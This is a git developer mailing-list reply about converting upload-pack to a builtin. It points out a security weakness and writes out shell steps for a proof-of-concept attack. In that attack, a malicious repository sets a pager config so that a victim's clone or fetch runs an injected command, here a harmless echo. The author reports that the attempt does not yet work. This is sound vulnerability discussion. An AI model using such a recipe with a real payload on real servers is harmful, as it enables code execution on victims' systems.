Re: [PATCH v3 04/35] upload-pack: convert to a builtin

From: Jeff King <peff@peff.net>
Date: Feb 22, 2018, 22:21 UTC
Message-ID: <20180222222146.GA30988@sigill.intra.peff.net>
In-Reply-To: <20180222214402.GA30638@sigill.intra.peff.net>

On Thu, Feb 22, 2018 at 04:44:02PM -0500, Jeff King wrote:

Show 9 quoted lines

> But I don't think it _is_ an accident waiting to happen for the rest of
> the commands. upload-pack is special. The point is that people may touch
> git.c thinking they are adding a nice new feature (like pager config, or
> aliases, or default options, or whatever). And it _would_ be a nice new
> feature for most commands, but not for upload-pack, because its
> requirements are different.
> 
> So thinking about security in the git wrapper is just a burden for those
> other commands.

All of that said, I think the current code is quite dangerous already, and maybe even broken. upload-pack may run sub-commands like rev-list or pack-objects, which are themselves builtins.

For example:

  git init --bare evil.git
  git -C evil.git --work-tree=. commit --allow-empty -m foo
  git -C evil.git config pager.pack-objects 'echo >&2 oops'
  git clone --no-local evil.git victim

That doesn't _quite_ work, because we route pack-objects' stderr into a pipe, which suppresses the pager. But we don't for rev-list, which we call when checking reachability. It's a bit tricky to get a client to trigger those for a vanilla fetch, though. Here's the best I could come up with:

  git init --bare evil.git
  git -C evil.git --work-tree=. commit --allow-empty -m one
  git -C evil.git config pager.rev-list 'echo >&2 oops'

  git init super
  (
	cd super
	# obviously use host:path if you're attacking somebody over ssh
	git submodule add ../evil.git evil
	git commit -am 'add evil submodule'
  )
  git -C evil.git config uploadpack.allowReachableSHA1InWant true
  git -C evil.git update-ref -d refs/heads/master

  git clone --recurse-submodules super victim

I couldn't quite get it to work, but I think it's because I'm doing something wrong with the submodules. But I also think this attack would _have_ to be done over ssh, because on a local system the submodule clone would a hard-link rather than a real fetch.

-Peff